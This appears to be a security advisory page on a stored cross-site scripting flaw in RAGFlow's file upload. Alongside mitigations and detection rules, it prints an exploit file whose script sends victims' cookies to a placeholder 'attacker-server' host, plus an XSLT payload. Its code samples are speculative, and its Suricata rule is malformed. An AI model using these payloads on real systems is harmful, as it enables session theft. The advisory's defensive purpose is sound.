CVE-2024-12870
Executive Summary
CVE-2024-12870 is a stored cross-site scripting (XSS) vulnerability in Infiniflow's RAGFlow application, affecting the latest commit (cec2080) on the main branch. The vulnerability allows an unauthenticated attacker to upload HTML/XML files containing arbitrary JavaScript payloads. These files are served with the application/xml content type, which browsers automatically render, leading to script execution in the context of the victim's browser. This can result in cookie theft, unauthorized access to user files, and resource compromise. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the lack of a patch makes it a significant risk for exposed instances.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but affects a self-hosted application (RAGFlow). No supply chain implications are identified.
CVSS Breakdown & Threat Level
- CVSS Score: 5.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – victim must visit the uploaded file
- Scope: Changed (S:C) – impact on resources beyond the vulnerable component
- Confidentiality Impact: Low (C:L) – potential cookie theft
- Integrity Impact: Low (I:L) – potential file manipulation
- Availability Impact: None (A:N)
Threat Level: Medium. The vulnerability is easy to exploit (no auth, low complexity) but requires user interaction. The lack of a patch increases risk for exposed instances.
Deep Dive & Mechanics
The vulnerability resides in the file upload functionality of RAGFlow. The application accepts HTML/XML file uploads without proper validation of content type or sanitization of embedded scripts. When a user uploads a malicious HTML/XML file, the server stores it and serves it with the application/xml content type. Browsers, upon receiving this content type, render the file as XML, which can include JavaScript via XSLT or inline scripts. This allows an attacker to execute arbitrary JavaScript in the context of the victim's browser when they access the uploaded file.
Root Cause: Lack of input validation and improper content-type handling. The application does not restrict file types or sanitize uploaded content, and it serves user-uploaded files with a content type that browsers render as active content.
Attack Flow:
- Attacker uploads an HTML/XML file containing a JavaScript payload (e.g.,
<script>alert('XSS')</script>or an XSLT transformation). - The file is stored on the server and served with
Content-Type: application/xml. - Victim accesses the file URL (e.g., via a crafted link or social engineering).
- Browser renders the XML, executing the embedded JavaScript.
- Script steals cookies, exfiltrates data, or performs actions on behalf of the victim.
Vulnerable vs. Patched Code
Vulnerable Code (commit cec2080): The file upload endpoint likely lacks content-type validation and sanitization. Example pseudocode:
@app.route('/upload', methods=['POST'])
def upload_file():
file = request.files['file']
filename = secure_filename(file.filename)
file.save(os.path.join('uploads', filename))
return 'File uploaded'
The file is served with a generic content type:
@app.route('/uploads/<filename>')
def serve_file(filename):
return send_from_directory('uploads', filename)
This uses Flask's default content-type detection, which may serve XML/HTML as application/xml or text/html.
Patched Code (hypothetical):
- Validate file extension and MIME type.
- Serve uploaded files with
Content-Disposition: attachmentto force download. - Sanitize uploaded content to remove scripts.
- Use a safe content type like
application/octet-stream.
Example fix:
ALLOWED_EXTENSIONS = {'txt', 'pdf', 'png', 'jpg', 'jpeg', 'gif'}
def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/upload', methods=['POST'])
def upload_file():
file = request.files['file']
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file.save(os.path.join('uploads', filename))
return 'File uploaded'
return 'Invalid file type', 400
@app.route('/uploads/<filename>')
def serve_file(filename):
response = send_from_directory('uploads', filename)
response.headers['Content-Type'] = 'application/octet-stream'
response.headers['Content-Disposition'] = 'attachment'
return response
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- Access to a RAGFlow instance (e.g.,
http://target-ragflow:9380). - Ability to upload files (no authentication required).
Exploit Steps:
- Create a malicious HTML file (e.g.,
exploit.html):<html> <body> <script> fetch('http://attacker-server/steal?cookie=' + document.cookie); </script> </body> </html> - Upload the file via the RAGFlow upload endpoint (e.g.,
POST /api/uploador similar). - Obtain the URL of the uploaded file (e.g.,
http://target-ragflow:9380/uploads/exploit.html). - Send the URL to a victim (e.g., via phishing email).
- Victim visits the URL, and the script executes, sending cookies to the attacker's server.
Alternative Payload (XML with XSLT):
<?xml version="1.0"?>
<?xml-stylesheet type="text/xml" href="#stylesheet"?>
<!DOCTYPE doc [
<!ATTLIST xsl:stylesheet id ID #REQUIRED>
]>
<doc>
<xsl:stylesheet id="stylesheet" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
<script>alert('XSS')</script>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
</doc>
Blue Team (Defender)
Detection:
- Monitor file upload endpoints for HTML/XML files.
- Check server logs for unusual file types (e.g.,
.html,.xml,.svg). - Use WAF rules to block uploads of script-bearing files.
Hunting:
- Search for uploaded files with
Content-Type: application/xmlortext/html. - Look for outbound connections from the RAGFlow server to unknown IPs (potential data exfiltration).
Lab Setup:
- Deploy a vulnerable RAGFlow instance using Docker:
docker pull infiniflow/ragflow:latest docker run -d -p 9380:9380 infiniflow/ragflow:latest - Test the exploit by uploading a malicious file and accessing it.
Indicators of Compromise (IOCs)
- File Hashes (example):
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855(SHA256 of a benign test file)
- Network Indicators:
- Outbound HTTP requests to attacker-controlled servers (e.g.,
http://attacker-server/steal?cookie=...)
- Outbound HTTP requests to attacker-controlled servers (e.g.,
- File Artifacts:
- Uploaded files with extensions
.html,.xml,.svg,.xhtmlin the uploads directory.
- Uploaded files with extensions
- Log Entries:
POST /api/uploadwith file typetext/htmlorapplication/xml.GET /uploads/*.htmlorGET /uploads/*.xml.
Detection Engineering
YARA Rule
rule CVE_2024_12870_XSS_Upload {
meta:
description = "Detects malicious HTML/XML files uploaded to RAGFlow"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-12870"
strings:
$script = /<script[^>]*>.*?<\/script>/is
$xml_xslt = /<?xml-stylesheet[^>]*?>/
$onerror = /onerror\s*=\s*["']?[^"']*["']?/i
$onload = /onload\s*=\s*["']?[^"']*["']?/i
condition:
any of ($script, $xml_xslt, $onerror, $onload)
}
Sigma Rule
title: CVE-2024-12870 - Stored XSS via File Upload in RAGFlow
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects upload of HTML/XML files to RAGFlow that may contain XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/api/upload'
cs-uri-query|contains:
- '.html'
- '.xml'
- '.svg'
condition: selection
falsepositives:
- Legitimate uploads of HTML/XML files (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-12870 - Stored XSS Upload Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/upload"; http_uri; content:".html" or content:".xml" or content:".svg"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable file upload if not required, or restrict to trusted users only.
- Implement file type validation – allow only safe extensions (e.g.,
.txt,.pdf,.png). - Serve uploaded files with
Content-Disposition: attachmentto force download instead of rendering. - Set
Content-Type: application/octet-streamfor all user-uploaded files. - Sanitize uploaded content – strip scripts from HTML/XML files.
- Use a Web Application Firewall (WAF) to block uploads of script-bearing files.
Long-term Fix:
- Apply a patch from the vendor (once available) or implement the above mitigations in the application code.
- Conduct a security audit of the file upload functionality.
Workaround:
- Restrict network access to the RAGFlow instance (e.g., VPN, firewall rules).
- Monitor logs for suspicious uploads and access.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.